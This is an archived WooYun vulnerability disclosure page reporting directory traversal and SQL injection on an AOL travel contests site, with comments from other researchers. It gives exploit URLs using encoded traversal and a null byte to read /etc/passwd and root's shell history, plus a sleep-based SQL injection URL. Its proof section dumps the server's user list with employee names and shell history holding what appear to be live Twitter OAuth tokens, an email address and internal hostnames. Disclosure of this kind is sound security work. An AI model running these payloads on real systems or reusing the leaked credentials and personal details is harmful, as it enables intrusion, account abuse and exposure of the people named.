当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-096786

漏洞标题：Directory traversal(root) & SQL Injections on *.aol.com

相关厂商：aol.com

漏洞作者： lijiejie

提交时间：2015-02-11 14:35

修复时间：2015-03-28 14:36

公开时间：2015-03-28 14:36

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：12

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-11： 细节已通知厂商并且等待厂商处理中
2015-02-11： 厂商已经确认，细节仅向厂商公开
2015-02-21： 细节向核心白帽子及相关领域专家公开
2015-03-03： 细节向普通白帽子公开
2015-03-13： 细节向实习白帽子公开
2015-03-28： 细节向公众公开

简要描述：

Directory traversal(root) & SQL Injections on *.aol.com

详细说明：

Directory traversal:

http://contests.travel.aol.com/pages/aoltravelcontest/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc/passwd%2500.jpg
http://contests.travel.aol.com/pages/aoltravelcontest/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Froot%252F.bash_history%2500.jpg


/root/.bash_history is readable which means the user who init web server is root.
SQL Injection:

http://contests.travel.aol.com/contests/showcontest/sleep(60)

漏洞证明：

read /etc/passwd

root:x:0:0:root:/root:/bin/ksh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
apache:x:48:506:Apache:/var/www:/bin/false
urchin:x:49:49:Urchin:/usr/local/urchin:/bin/false
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rabbitmq:x:100:101:RabbitMQ messaging server:/var/lib/rabbitmq:/bin/bash
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
rack:x:501:501::/home/rack:/bin/bash
webadmin:x:502:506::/home/webadmin:/bin/bash
nagios:x:503:503::/home/nagios:/bin/bash
logstash:x:508:508::/usr/local/logstash:/bin/bash
dkim:x:511:514::/usr/local/dkimproxy:/bin/bash
submit:x:516:517::/home/submit:/bin/false
parents:x:534:534::/home/parents:/bin/false
systems:x:600:600::/home/systems:/bin/ksh
jrisner:x:601:601::/home/jrisner:/bin/bash
#vijeta:x:609:609::/home/vijeta:/bin/bash
priyanka:x:610:506::/home/priyanka:/bin/bash
nvishal:x:613:615::/home/nvishal:/bin/bash
praveen:x:614:504::/home/praveen:/bin/bash
cnikita:x:615:506::/home/cnikita:/bin/bash
amitabh:x:622:623::/home/amitabh:/bin/ksh
vamshi:x:624:625::/home/vamshi:/bin/bash
rnaresh:x:625:626::/home/rnaresh:/bin/bash
ahilash:x:626:627::/home/ahilash:/bin/bash
abhilash:x:627:628::/home/abhilash:/bin/bash
ssatish:x:629:504::/home/ssatish:/bin/bash
bharath:x:631:506::/home/bharath:/bin/bash
phani:x:632:632::/home/phani:/bin/bash
mandiv:x:633:506::/home/mandiv:/bin/bash
bramesh:x:634:634::/home/bramesh:/bin/bash
abhilashv:x:635:635::/home/abhilashv:/bin/bash
dpraskumar:x:636:506::/home/dpraskumar:/bin/bash
vramesh:x:637:637::/home/vramesh:/bin/bash
sanantoniofun:x:643:643::/home/sanantoniofun:/bin/false
firestone:x:644:644::/home/firestone:/bin/false
corona:x:645:645::/home/corona:/bin/false
spectacle:x:646:646::/home/spectacle:/bin/false
testproject:x:647:647::/home/testproject:/bin/false
jbl:x:649:649::/home/jbl:/bin/false
theplanetisyourplayground:x:650:650::/home/theplanetisyourplayground:/bin/false
coronasoccer:x:651:651::/home/coronasoccer:/bin/false
dhaval:x:653:504::/home/dhaval:/bin/bash
karthik:x:660:504::/home/karthik:/bin/bash
caterpillar:x:679:679::/home/caterpillar:/bin/false
harikrishna:x:638:504::/home/harikrishna:/bin/bash


part of /root/.bash_history

curl --request 'POST' 'https://stream.twitter.com/1.1/statuses/filter.json' --data 'track=twitter' --header 'Authorization: OAuth oauth_consumer_key="d8JyKzy79wRm8ux1EsPgfw", oauth_nonce="48952074a4990c8ed31401fbf754cfd4", oauth_signature="skLLUs%2Fnq3nhpgk5NQmTviepsHU%3D", oauth_signature_method="HMAC-SHA1", oauth_timestamp="1367919228", oauth_token="93573954-4BIJa8sv1qwAyKeuWXaNhF3QF92IUr8l1kNNM77ez", oauth_version="1.0"' --verbose > vivek
svn --username mandiv co https://mytrtcom.svn.cloudforge.com/mtt/votigo_utils/trunk/facebooklistener /var/www/votigo_utils/facebooklistener
/usr/bin/php /var/www/votigo_utils/tweetstream/monitor.twitter.process.pl --help
grep "yrobledo0916@gmail.com" maillog*
ssh mandiv@misc01.votigo.com
passwd mandiv

修复方案：

add filters

版权声明：转载请注明来源 lijiejie@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-02-11 23:44

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2015-02-11 14:38 | 7z1 ( 实习白帽子 | Rank:94 漏洞数:14 | 黑客：探险家、网络中的幽灵、用技术捍卫正...)

    AOL 好屌，数据很多吧~~~

  2. 2015-02-11 14:38 | answer ( 普通白帽子 | Rank:347 漏洞数:45 | 答案)

    额 这是在show 英文吗

  3. 2015-02-11 14:51 | 小杨 ( 路人 | Rank:22 漏洞数:4 | 。)

    why not go here? en.wooyun.org

  4. 2015-02-11 14:57 | 小威 ( 普通白帽子 | Rank:492 漏洞数:76 | 活到老，学到老!)

    why are you so diao?

  5. 2015-02-11 15:00 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    数据多吧？

  6. 2015-02-11 15:53 | 大物期末不能挂 ( 普通白帽子 | Rank:132 漏洞数:23 | 1.一个学渣，只求每门都不挂2.想把漏洞提...)

    是怕厂商看不懂所以换的英文么。。。

  7. 2015-02-11 16:32 | 7z1 ( 实习白帽子 | Rank:94 漏洞数:14 | 黑客：探险家、网络中的幽灵、用技术捍卫正...)

    LouZhu JJ fly

  8. 2015-02-12 02:21 | Hucheat ( 路人 | Rank:8 漏洞数:4 | 什么时候才不是路人T_T)

    little dishes have growed posture....